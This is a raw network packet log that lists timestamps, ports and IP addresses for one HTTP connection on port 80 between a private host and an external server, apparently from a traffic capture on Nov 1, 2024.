Nov 1, 2024 12:34:10.414733887 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.414895058 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.414901972 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.414908886 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.414937019 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.414963961 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.414971113 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.414999962 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415005922 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415010929 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415038109 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415080070 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415086985 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415100098 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415107965 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415115118 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415122986 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415147066 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415172100 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415177107 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415182114 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415219069 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415251017 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415257931 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415292978 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415297985 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415328979 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415394068 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415400982 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415412903 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415417910 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415443897 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415467978 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415543079 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415549040 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415566921 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415571928 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415585041 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415591002 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415591955 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415601015 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415605068 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415618896 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415635109 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415690899 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415698051 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415709972 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415731907 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415771008 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415777922 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415790081 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415796995 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415813923 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415823936 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415828943 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415833950 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415842056 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415848970 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415860891 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415860891 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415884972 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415908098 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.415915012 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415920019 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.415954113 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416066885 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416074991 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416086912 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416093111 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416115999 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416141033 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416157007 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416163921 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416183949 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416191101 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416199923 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416203022 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416210890 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416218042 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416224003 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416224957 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416230917 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416241884 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416268110 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416352034 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416361094 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416367054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416393995 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416408062 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416513920 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416527987 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416538954 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416544914 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416552067 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416563988 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416569948 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416570902 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416578054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416593075 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416599035 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416599989 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416606903 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416620016 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416620016 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416627884 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416635990 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416640043 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416647911 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416655064 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416661978 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416665077 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416668892 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416683912 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416687965 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416707039 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416728973 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416731119 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416735888 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416747093 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416755915 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416766882 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416771889 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416781902 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416791916 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416791916 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416800022 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416806936 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416814089 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416821003 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416841030 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416853905 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416858912 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416862965 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416872025 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416877985 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416887045 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416892052 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416898012 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416913986 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416929960 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416929960 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416945934 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416951895 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416958094 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416964054 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416970015 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.416980028 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.416997910 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.417021036 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.417032957 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417040110 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417051077 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417069912 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.417093039 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.417185068 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417191029 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417202950 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417212009 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417218924 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417229891 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417236090 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.417237043 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417242050 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417258978 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.417274952 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417275906 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.417283058 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417294025 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417314053 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.417336941 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.417474985 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417485952 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417498112 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.417527914 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.449341059 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449362993 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449369907 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449383974 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449393988 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449398994 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449410915 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449419022 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449424028 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449435949 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449441910 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449453115 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449460983 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449472904 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449477911 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449485064 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449491024 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449492931 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.449506044 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449533939 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.449537039 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449544907 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449564934 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.449589014 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449594975 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449594975 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.449618101 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449625015 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449632883 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.449635983 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449657917 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.449682951 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.449753046 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449759960 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449773073 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449780941 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449786901 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449800014 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449805975 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449807882 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.449841976 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.449881077 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449887991 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449898958 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449903011 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449909925 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449917078 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449937105 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.449947119 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449954987 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449959040 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.449968100 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449991941 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449997902 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.449997902 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450011015 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450011969 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450052023 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450103998 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450109959 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450120926 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450126886 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450134993 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450150013 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450154066 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450156927 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450160980 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450177908 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450207949 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450217962 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450223923 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450234890 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450262070 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450293064 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450309038 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450314045 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450325012 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450330019 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450335979 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450349092 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450355053 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450357914 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450366974 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450372934 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450376034 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450392008 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450397015 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450407982 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450443983 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450572968 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450581074 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450592041 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450628996 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450715065 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450722933 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450733900 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450741053 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450769901 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450803995 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450830936 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450836897 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450850010 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450855017 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450867891 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450881958 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450912952 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450912952 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450921059 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450938940 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450944901 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450956106 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.450962067 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.450988054 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.451005936 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.451246023 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451252937 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451267004 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451299906 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.451325893 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.451344013 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451349020 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451392889 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.451481104 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451488018 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451503038 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451531887 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.451554060 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.451565027 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451571941 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451582909 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451589108 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451603889 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451610088 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451612949 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.451618910 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451627016 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451647043 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.451666117 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.451796055 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451812029 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451823950 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451857090 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.451867104 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451874018 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451885939 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451894045 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451915979 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.451932907 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.451958895 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.451972961 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451977968 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451988935 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.451994896 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.452002048 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.452008963 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.452022076 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.452024937 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.452047110 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.452081919 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.452090025 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.452095985 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.452107906 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.452141047 CET	49972	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:10.452157974 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.452164888 CET	80	49972	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:10.452177048 CET	80	49972	185.215.113.16	192.168.2.7
